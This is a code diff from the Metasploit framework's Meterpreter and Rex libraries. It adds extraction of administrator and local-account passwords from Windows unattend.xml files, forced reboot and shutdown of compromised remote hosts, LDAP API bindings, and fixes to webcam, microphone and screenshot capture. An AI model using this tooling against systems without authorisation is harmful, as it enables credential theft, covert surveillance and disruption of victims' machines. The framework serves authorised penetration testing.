return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password }
|
||||
end
|
||||
|
||||
#
|
||||
# Extract sensitive data from UserAccounts
|
||||
#
|
||||
def self.extract_useraccounts(user_accounts)
|
||||
return[] if user_accounts.nil?
|
||||
|
||||
results = []
|
||||
account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts']
|
||||
account_types.each do |t|
|
||||
element = user_accounts.elements[t]
|
||||
next if element.nil?
|
||||
|
||||
case t
|
||||
#
|
||||
# Extract the password from AdministratorPasswords
|
||||
#
|
||||
when account_types[0]
|
||||
password = element.elements['Value'].get_text.value rescue ''
|
||||
plaintext = element.elements['PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '')
|
||||
end
|
||||
|
||||
if not password.empty?
|
||||
results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password}
|
||||
end
|
||||
|
||||
#
|
||||
# Extract the sensitive data from DomainAccounts.
|
||||
# According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts
|
||||
#
|
||||
when account_types[1] #DomainAccounts
|
||||
element.elements.each do |account_list|
|
||||
name = account_list.elements['DomainAccount/Name'].get_text.value rescue ''
|
||||
group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true'
|
||||
|
||||
results << {'type' => 'domain', 'username' => name, 'group' => group}
|
||||
end
|
||||
#
|
||||
# Extract the username/password from LocalAccounts
|
||||
#
|
||||
when account_types[2] #LocalAccounts
|
||||
element.elements.each do |local|
|
||||
password = local.elements['Password/Value'].get_text.value rescue ''
|
||||
plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true'
|
||||
|
||||
if plaintext == 'false'
|
||||
password = Rex::Text.decode_base64(password)
|
||||
password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '')
|
||||
end
|
||||
|
||||
username = local.elements['Name'].get_text.value rescue ''
|
||||
results << {'type' => 'local', 'username' => username, 'password' => password}
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -83,14 +83,14 @@ KEY_CREATE_LINK = 0x00000020
|
|||
KEY_WOW64_64KEY = 0x00000100
|
||||
KEY_WOW64_32KEY = 0x00000200
|
||||
KEY_READ = (STANDARD_RIGHTS_READ | KEY_QUERY_VALUE |
|
||||
KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY) & ~SYNCHRONIZE
|
||||
KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY) & ~SYNCHRONIZE
|
||||
KEY_WRITE = (STANDARD_RIGHTS_WRITE | KEY_SET_VALUE |
|
||||
KEY_CREATE_SUB_KEY) & ~SYNCHRONIZE
|
||||
KEY_CREATE_SUB_KEY) & ~SYNCHRONIZE
|
||||
KEY_EXECUTE = KEY_READ
|
||||
KEY_ALL_ACCESS = (STANDARD_RIGHTS_ALL | KEY_QUERY_VALUE |
|
||||
KEY_SET_VALUE | KEY_CREATE_SUB_KEY |
|
||||
KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY |
|
||||
KEY_CREATE_LINK) & ~SYNCHRONIZE
|
||||
KEY_SET_VALUE | KEY_CREATE_SUB_KEY |
|
||||
KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY |
|
||||
KEY_CREATE_LINK) & ~SYNCHRONIZE
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -180,6 +180,59 @@ EWX_FORCE = 0x00000004
|
|||
EWX_POWEROFF = 0x00000008
|
||||
EWX_FORCEIFHUNG = 0x00000010
|
||||
|
||||
##
|
||||
#
|
||||
# Shutdown Reason Codes
|
||||
#
|
||||
##
|
||||
SHTDN_REASON_MINOR_DC_PROMOTION = 0x00000021
|
||||
SHTDN_REASON_MAJOR_APPLICATION = 0x00040000
|
||||
SHTDN_REASON_MAJOR_HARDWARE = 0x00010000
|
||||
SHTDN_REASON_FLAG_COMMENT_REQUIRED = 0x01000000
|
||||
SHTDN_REASON_FLAG_DIRTY_UI = 0x08000000
|
||||
SHTDN_REASON_MINOR_UNSTABLE = 0x00000006
|
||||
SHTDN_REASON_MINOR_SECURITYFIX_UNINSTALL = 0x00000018
|
||||
SHTDN_REASON_MINOR_ENVIRONMENT = 0x00000000
|
||||
SHTDN_REASON_MAJOR_LEGACY_API = 0x00070000
|
||||
SHTDN_REASON_MINOR_DC_DEMOTION = 0x00000022
|
||||
SHTDN_REASON_MINOR_SECURITYFIX = 0x00000012
|
||||
SHTDN_REASON_FLAG_CLEAN_UI = 0x04000000
|
||||
SHTDN_REASON_MINOR_HOTFIX = 0x00000011
|
||||
SHTDN_REASON_MINOR_CORDUNPLUGGED = 0x00000000
|
||||
SHTDN_REASON_MINOR_HOTFIX_UNINSTALL = 0x00000017
|
||||
SHTDN_REASON_FLAG_USER_DEFINED = 0x40000000
|
||||
SHTDN_REASON_MINOR_SYSTEMRESTORE = 0x00000001
|
||||
SHTDN_REASON_MINOR_OTHERDRIVER = 0x00000000
|
||||
SHTDN_REASON_MINOR_WMI = 0x00000015
|
||||
SHTDN_REASON_MINOR_INSTALLATION = 0x00000002
|
||||
SHTDN_REASON_MINOR_BLUESCREEN = 0x0000000F
|
||||
SHTDN_REASON_MAJOR_SOFTWARE = 0x00030000
|
||||
SHTDN_REASON_MINOR_NETWORKCARD = 0x00000009
|
||||
SHTDN_REASON_MINOR_SERVICEPACK_UNINSTALL = 0x00000016
|
||||
SHTDN_REASON_MINOR_SERVICEPACK = 0x00000010
|
||||
SHTDN_REASON_MINOR_UPGRADE = 0x00000003
|
||||
SHTDN_REASON_FLAG_PLANNED = 0x80000000
|
||||
SHTDN_REASON_MINOR_MMC = 0x00000019
|
||||
SHTDN_REASON_MINOR_POWER_SUPPLY = 0x00000000
|
||||
SHTDN_REASON_MINOR_MAINTENANCE = 0x00000001
|
||||
SHTDN_REASON_VALID_BIT_MASK = 0x00000000
|
||||
SHTDN_REASON_MAJOR_NONE = 0x00000000
|
||||
SHTDN_REASON_MAJOR_POWER = 0x00060000
|
||||
SHTDN_REASON_FLAG_DIRTY_PROBLEM_ID_REQUIRED = 0x02000000
|
||||
SHTDN_REASON_MINOR_OTHER = 0x00000000
|
||||
SHTDN_REASON_MINOR_PROCESSOR = 0x00000008
|
||||
SHTDN_REASON_MAJOR_OTHER = 0x00000000
|
||||
SHTDN_REASON_MINOR_DISK = 0x00000007
|
||||
SHTDN_REASON_MINOR_NETWORK_CONNECTIVITY = 0x00000014
|
||||
SHTDN_REASON_MAJOR_OPERATINGSYSTEM = 0x00020000
|
||||
SHTDN_REASON_MINOR_HUNG = 0x00000005
|
||||
SHTDN_REASON_MINOR_TERMSRV = 0x00000020
|
||||
SHTDN_REASON_MINOR_NONE = 0x00000000
|
||||
SHTDN_REASON_MINOR_RECONFIG = 0x00000004
|
||||
SHTDN_REASON_MAJOR_SYSTEM = 0x00050000
|
||||
SHTDN_REASON_MINOR_HARDWARE_DRIVER = 0x00000000
|
||||
SHTDN_REASON_MINOR_SECURITY = 0x00000013
|
||||
SHTDN_REASON_DEFAULT = SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER
|
||||
|
||||
##
|
||||
#
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Stdapi
|
||||
module Railgun
|
||||
module Def
|
||||
|
||||
class Def_wldap32
|
||||
|
||||
def self.create_dll(dll_path = 'wldap32')
|
||||
dll = DLL.new(dll_path, ApiConstants.manager)
|
||||
|
||||
dll.add_function('ldap_sslinitA', 'DWORD',[
|
||||
['PCHAR', 'HostName', 'in'],
|
||||
['DWORD', 'PortNumber', 'in'],
|
||||
['DWORD', 'secure', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_bind_sA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['PCHAR', 'dn', 'in'],
|
||||
['PCHAR', 'cred', 'in'],
|
||||
['DWORD', 'method', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_search_sA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['PCHAR', 'base', 'in'],
|
||||
['DWORD', 'scope', 'in'],
|
||||
['PCHAR', 'filter', 'in'],
|
||||
['PCHAR', 'attrs[]', 'in'],
|
||||
['DWORD', 'attrsonly', 'in'],
|
||||
['PDWORD', 'res', 'out']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_count_entries', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'res', 'in']
|
||||
])
|
||||
dll.add_function('ldap_first_entry', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'res', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_next_entry', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_first_attributeA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
['DWORD', 'ptr', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_next_attributeA', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
['DWORD', 'ptr', 'inout']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_count_values', 'DWORD',[
|
||||
['DWORD', 'vals', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('ldap_get_values', 'DWORD',[
|
||||
['DWORD', 'ld', 'in'],
|
||||
['DWORD', 'entry', 'in'],
|
||||
['PCHAR', 'attr', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_value_free', 'DWORD',[
|
||||
['DWORD', 'vals', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('ldap_memfree', 'VOID',[
|
||||
['DWORD', 'block', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('ber_free', 'VOID',[
|
||||
['DWORD', 'pBerElement', 'in'],
|
||||
['DWORD', 'fbuf', 'in'],
|
||||
])
|
||||
|
||||
dll.add_function('LdapGetLastError', 'DWORD',[])
|
||||
|
||||
dll.add_function('ldap_err2string', 'DWORD',[
|
||||
['DWORD', 'err', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_msgfree', 'DWORD', [
|
||||
['DWORD', 'res', 'in']
|
||||
])
|
||||
|
||||
dll.add_function('ldap_unbind', 'DWORD', [
|
||||
['DWORD', 'ld', 'in']
|
||||
])
|
||||
return dll
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end; end; end
|
||||
|
||||
|
|
@ -77,6 +77,7 @@ class Railgun
|
|||
'netapi32',
|
||||
'crypt32',
|
||||
'wlanapi',
|
||||
'wldap32'
|
||||
].freeze
|
||||
|
||||
##
|
||||
|
|
|
@ -28,33 +28,32 @@ class Power
|
|||
#
|
||||
# Calls ExitWindows on the remote machine with the supplied parameters.
|
||||
#
|
||||
def Power._exitwindows(flags, reason = 0) # :nodoc:
|
||||
def Power._exitwindows(flags, reason = 0, force = 0) # :nodoc:
|
||||
request = Packet.create_request('stdapi_sys_power_exitwindows')
|
||||
|
||||
flags |= EWX_FORCEIFHUNG if force == 1
|
||||
flags |= EWX_FORCE if force == 2
|
||||
|
||||
request.add_tlv(TLV_TYPE_POWER_FLAGS, flags);
|
||||
request.add_tlv(TLV_TYPE_POWER_REASON, reason);
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
return self
|
||||
return response
|
||||
end
|
||||
|
||||
#
|
||||
# Reboots the remote machine.
|
||||
#
|
||||
def Power.reboot(reason = 0)
|
||||
self._exitwindows(EWX_REBOOT, reason)
|
||||
def Power.reboot(force = 0, reason = 0)
|
||||
self._exitwindows(EWX_REBOOT, reason, force)
|
||||
end
|
||||
|
||||
#
|
||||
# Shuts down the remote machine.
|
||||
#
|
||||
def Power.shutdown(force = 0, reason = 0)
|
||||
flags = EWX_POWEROFF
|
||||
flags |= EWX_FORCEIFHUNG if force == 1
|
||||
flags |= EWX_FORCE if force == 2
|
||||
|
||||
self._exitwindows(flags, reason)
|
||||
self._exitwindows(EWX_POWEROFF, reason, force)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -28,7 +28,7 @@ class Webcam
|
|||
names
|
||||
end
|
||||
|
||||
# Starts recording video from video source of index #{cam}
|
||||
# Starts recording video from video source of index +cam+
|
||||
def webcam_start(cam)
|
||||
request = Packet.create_request('webcam_start')
|
||||
request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
|
||||
|
@ -48,7 +48,7 @@ class Webcam
|
|||
true
|
||||
end
|
||||
|
||||
# Record from default audio source for #{duration} seconds;
|
||||
# Record from default audio source for +duration+ seconds;
|
||||
# returns a low-quality wav file
|
||||
def record_mic(duration)
|
||||
request = Packet.create_request('webcam_audio_record')
|
||||
|
|
|
@ -342,7 +342,15 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
print_status("Migrating to #{pid}...")
|
||||
begin
|
||||
server = client.sys.process.open
|
||||
rescue TimeoutError => e
|
||||
elog(e.to_s)
|
||||
rescue RequestError => e
|
||||
elog(e.to_s)
|
||||
end
|
||||
|
||||
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
|
||||
|
||||
# Do this thang.
|
||||
client.core.migrate(pid)
|
||||
|
|
|
@ -33,6 +33,20 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
|
||||
"-s" => [ true, "Execute process in a given session as the session user" ])
|
||||
|
||||
#
|
||||
# Options used by the 'reboot' command.
|
||||
#
|
||||
@@reboot_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-f" => [ true, "Force a reboot, valid values [1|2]" ])
|
||||
|
||||
#
|
||||
# Options used by the 'shutdown' command.
|
||||
#
|
||||
@@shutdown_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-f" => [ true, "Force a shutdown, valid values [1|2]" ])
|
||||
|
||||
#
|
||||
# Options used by the 'reg' command.
|
||||
#
|
||||
|
@ -316,7 +330,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# @param pids [Array<String>] The pids to validate
|
||||
# @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid
|
||||
# @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid
|
||||
# @return [Array] Returns an array of valid pids
|
||||
# @return [Array] Returns an array of valid pids
|
||||
|
||||
def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false)
|
||||
|
||||
|
@ -356,14 +370,14 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
def cmd_ps(*args)
|
||||
processes = client.sys.process.get_processes
|
||||
@@ps_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
case opt
|
||||
when "-h"
|
||||
cmd_ps_help
|
||||
return true
|
||||
when "-S"
|
||||
print_line "Filtering on process name..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
processes.each do |proc|
|
||||
if val.nil? or val.empty?
|
||||
print_line "You must supply a search term!"
|
||||
return false
|
||||
|
@ -374,7 +388,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
when "-A"
|
||||
print_line "Filtering on arch..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
processes.each do |proc|
|
||||
next if proc['arch'].nil? or proc['arch'].empty?
|
||||
if val.nil? or val.empty? or !(val == "x86" or val == "x86_64")
|
||||
print_line "You must select either x86 or x86_64"
|
||||
|
@ -386,14 +400,14 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
when "-s"
|
||||
print_line "Filtering on SYSTEM processes..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
processes.each do |proc|
|
||||
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
|
||||
end
|
||||
processes = searched_procs
|
||||
when "-U"
|
||||
print_line "Filtering on user name..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
processes.each do |proc|
|
||||
processes.each do |proc|
|
||||
if val.nil? or val.empty?
|
||||
print_line "You must supply a search term!"
|
||||
return false
|
||||
|
@ -416,7 +430,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
def cmd_ps_help
|
||||
print_line "Use the command with no arguments to see all running processes."
|
||||
print_line "The following options can be used to filter those results:"
|
||||
|
||||
|
||||
print_line @@ps_opts.usage
|
||||
end
|
||||
|
||||
|
@ -426,9 +440,25 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Reboots the remote computer.
|
||||
#
|
||||
def cmd_reboot(*args)
|
||||
force = 0
|
||||
|
||||
if args.length == 1 and args[0].strip == "-h"
|
||||
print(
|
||||
"Usage: reboot [options]\n\n" +
|
||||
"Reboot the remote machine.\n" +
|
||||
@@reboot_opts.usage)
|
||||
return true
|
||||
end
|
||||
|
||||
@@reboot_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
force = val.to_i
|
||||
end
|
||||
}
|
||||
print_line("Rebooting...")
|
||||
|
||||
client.sys.power.reboot
|
||||
client.sys.power.reboot(force, SHTDN_REASON_DEFAULT)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -728,9 +758,26 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Shuts down the remote computer.
|
||||
#
|
||||
def cmd_shutdown(*args)
|
||||
force = 0
|
||||
|
||||
if args.length == 1 and args[0].strip == "-h"
|
||||
print(
|
||||
"Usage: shutdown [options]\n\n" +
|
||||
"Shutdown the remote machine.\n" +
|
||||
@@shutdown_opts.usage)
|
||||
return true
|
||||
end
|
||||
|
||||
@@shutdown_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-f"
|
||||
force = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
print_line("Shutting down...")
|
||||
|
||||
client.sys.power.shutdown
|
||||
client.sys.power.shutdown(force, SHTDN_REASON_DEFAULT)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -750,7 +797,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
return true
|
||||
end
|
||||
|
||||
continue = args.delete("-c") || false
|
||||
continue = args.delete("-c") || false
|
||||
resume = args.delete("-r") || false
|
||||
|
||||
# validate all the proposed pids first so we can bail if one is bogus
|
||||
|
|
|
@ -129,7 +129,7 @@ class Console::CommandDispatcher::Stdapi::Ui
|
|||
def cmd_screenshot( *args )
|
||||
path = Rex::Text.rand_text_alpha(8) + ".jpeg"
|
||||
quality = 50
|
||||
view = true
|
||||
view = false
|
||||
|
||||
screenshot_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help Banner." ],
|
||||
|
|
|
@ -29,7 +29,7 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
|||
reqs = {
|
||||
"webcam_list" => [ "webcam_list" ],
|
||||
"webcam_snap" => [ "webcam_start", "webcam_get_frame", "webcam_stop" ],
|
||||
"record_mic" => [ "webcam_record_audio" ],
|
||||
"record_mic" => [ "webcam_audio_record" ],
|
||||
}
|
||||
|
||||
all.delete_if do |cmd, desc|
|
||||
|
|
|
@ -2,6 +2,11 @@
|
|||
require 'rex/socket'
|
||||
require 'rex/proto/http'
|
||||
require 'rex/text'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
|
@ -21,13 +26,15 @@ class Client
|
|||
#
|
||||
# Creates a new client instance
|
||||
#
|
||||
def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil)
|
||||
def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '')
|
||||
self.hostname = host
|
||||
self.port = port.to_i
|
||||
self.context = context
|
||||
self.ssl = ssl
|
||||
self.ssl_version = ssl_version
|
||||
self.proxies = proxies
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.config = {
|
||||
'read_max_data' => (1024*1024*1),
|
||||
'vhost' => self.hostname,
|
||||
|
@ -61,7 +68,21 @@ class Client
|
|||
'uri_fake_end' => false, # bool
|
||||
'uri_fake_params_start' => false, # bool
|
||||
'header_folding' => false, # bool
|
||||
'chunked_size' => 0 # integer
|
||||
'chunked_size' => 0, # integer
|
||||
#
|
||||
# NTLM Options
|
||||
#
|
||||
'usentlm2_session' => true,
|
||||
'use_ntlmv2' => true,
|
||||
'send_lm' => true,
|
||||
'send_ntlm' => true,
|
||||
'SendSPN' => true,
|
||||
'UseLMKey' => false,
|
||||
'domain' => 'WORKSTATION',
|
||||
#
|
||||
# Digest Options
|
||||
#
|
||||
'DigestAuthIIS' => true
|
||||
}
|
||||
|
||||
# This is not used right now...
|
||||
|
@ -130,27 +151,44 @@ class Client
|
|||
#
|
||||
# Create an arbitrary HTTP request
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts 'agent' [String] User-Agent header value
|
||||
# @option opts 'basic_auth' [String] Basic-Auth header value
|
||||
# @option opts 'connection' [String] Connection header value
|
||||
# @option opts 'cookie' [String] Cookie header value
|
||||
# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
|
||||
# @option opts 'encode' [Bool] URI encode the supplied URI, default: false
|
||||
# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# @option opts 'proto' [String] protocol, default: HTTP
|
||||
# @option opts 'query' [String] raw query string
|
||||
# @option opts 'raw_headers' [Hash] HTTP headers
|
||||
# @option opts 'uri' [String] the URI to request
|
||||
# @option opts 'version' [String] version of the protocol, default: 1.1
|
||||
# @option opts 'vhost' [String] Host header value
|
||||
#
|
||||
# @return [Request]
|
||||
def request_raw(opts={})
|
||||
c_enc = opts['encode'] || false
|
||||
c_uri = opts['uri'] || '/'
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
|
||||
c_body = opts['data'] || ''
|
||||
c_conn = opts['connection']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_enc = opts['encode'] || false
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_host = opts['vhost'] || config['vhost'] || self.hostname
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
c_qs = opts['query']
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_host = opts['vhost'] || config['vhost'] || self.hostname
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_rawh = opts['raw_headers']|| config['raw_headers'] || ''
|
||||
c_conn = opts['connection']
|
||||
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
|
||||
c_uri = opts['uri'] || '/'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
|
||||
# An agent parameter was specified, but so was a header, prefer the header
|
||||
if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent')
|
||||
c_ag = nil
|
||||
end
|
||||
|
||||
|
||||
uri = set_uri(c_uri)
|
||||
|
||||
req = ''
|
||||
|
@ -170,7 +208,6 @@ class Client
|
|||
req << set_host_header(c_host)
|
||||
req << set_agent_header(c_ag)
|
||||
|
||||
|
||||
if (c_auth.length > 0)
|
||||
req << set_basic_auth_header(c_auth)
|
||||
end
|
||||
|
@ -181,53 +218,45 @@ class Client
|
|||
req << set_raw_headers(c_rawh)
|
||||
req << set_body(c_body)
|
||||
|
||||
req
|
||||
request = Request.new
|
||||
request.parse(req)
|
||||
request.options = opts
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a CGI compatible request
|
||||
#
|
||||
# Options:
|
||||
# - agent: User-Agent header value
|
||||
# - basic_auth: Basic-Auth header value
|
||||
# - connection: Connection header value
|
||||
# - cookie: Cookie header value
|
||||
# - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+
|
||||
# - data: HTTP data (only useful with some methods, see rfc2616)
|
||||
# - encode: URI encode the supplied URI, default: false
|
||||
# - encode_params: URI encode the GET or POST variables (names and values), default: true
|
||||
# - headers: HTTP headers as a hash, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# - proto: protocol, default: HTTP
|
||||
# - query: raw query string
|
||||
# - raw_headers: HTTP headers as a hash
|
||||
# - uri: the URI to request
|
||||
# - vars_get: GET variables as a hash to be translated into a query string
|
||||
# - vars_post: POST variables as a hash to be translated into POST data
|
||||
# - version: version of the protocol, default: 1.1
|
||||
# - vhost: Host header value
|
||||
# @param (see #request_raw)
|
||||
# @option opts (see #request_raw)
|
||||
# @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
|
||||
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
|
||||
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
|
||||
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
|
||||
#
|
||||
# @return [Request]
|
||||
def request_cgi(opts={})
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_body = opts['data'] || ''
|
||||
c_cgi = opts['uri'] || '/'
|
||||
c_conn = opts['connection']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_enc = opts['encode'] || false
|
||||
c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false)
|
||||
c_cgi = opts['uri'] || '/'
|
||||
c_body = opts['data'] || ''
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
c_qs = opts['query'] || ''
|
||||
c_varg = opts['vars_get'] || {}
|
||||
c_varp = opts['vars_post'] || {}
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_host = opts['vhost'] || config['vhost']
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_path = opts['path_info']
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_qs = opts['query'] || ''
|
||||
c_rawh = opts['raw_headers'] || config['raw_headers'] || ''
|
||||
c_type = opts['ctype'] || 'application/x-www-form-urlencoded'
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_host = opts['vhost'] || config['vhost']
|
||||
c_conn = opts['connection']
|
||||
c_path = opts['path_info']
|
||||
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
|
||||
c_varg = opts['vars_get'] || {}
|
||||
c_varp = opts['vars_post'] || {}
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
|
||||
uri = set_cgi(c_cgi)
|
||||
qstr = c_qs
|
||||
pstr = c_body
|
||||
|
@ -243,7 +272,7 @@ class Client
|
|||
|
||||
c_varg.each_pair do |var,val|
|
||||
qstr << '&' if qstr.length > 0
|
||||
qstr << (c_enc_p ? set_encode_uri(var) : var)
|
||||
qstr << (c_enc_p ? set_encode_uri(var) : var)
|
||||
qstr << '='
|
||||
qstr << (c_enc_p ? set_encode_uri(val) : val)
|
||||
end
|
||||
|
@ -284,10 +313,6 @@ class Client
|
|||
req << set_host_header(c_host)
|
||||
req << set_agent_header(c_ag)
|
||||
|
||||
if (c_auth.length > 0)
|
||||
req << set_basic_auth_header(c_auth)
|
||||
end
|
||||
|
||||
req << set_cookie_header(c_cook)
|
||||
req << set_connection_header(c_conn)
|
||||
req << set_extra_headers(c_head)
|
||||
|
@ -298,12 +323,19 @@ class Client
|
|||
req << set_raw_headers(c_rawh)
|
||||
req << set_body(pstr)
|
||||
|
||||
req
|
||||
request = Request.new
|
||||
request.parse(req)
|
||||
request.options = opts
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the remote server if possible.
|
||||
#
|
||||
# @param t [Fixnum] Timeout
|
||||
# @see Rex::Socket::Tcp.create
|
||||
# @return [Rex::Socket::Tcp]
|
||||
def connect(t = -1)
|
||||
# If we already have a connection and we aren't pipelining, close it.
|
||||
if (self.conn)
|
||||
|
@ -342,11 +374,30 @@ class Client
|
|||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
# If persist is set, then the request will attempt
|
||||
# to reuse an existing connection.
|
||||
# Sends a request and gets a response back
|
||||
#
|
||||
# If the request is a 401, and we have creds, it will attempt to complete
|
||||
# authentication and return the final response
|
||||
#
|
||||
def send_recv(req, t = -1, persist=false)
|
||||
res = _send_recv(req,t,persist)
|
||||
if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds?
|
||||
res = send_auth(res, req.options, t, persist)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
#
|
||||
# If persist is set, then the request will attempt to reuse an existing
|
||||
# connection.
|
||||
#
|
||||
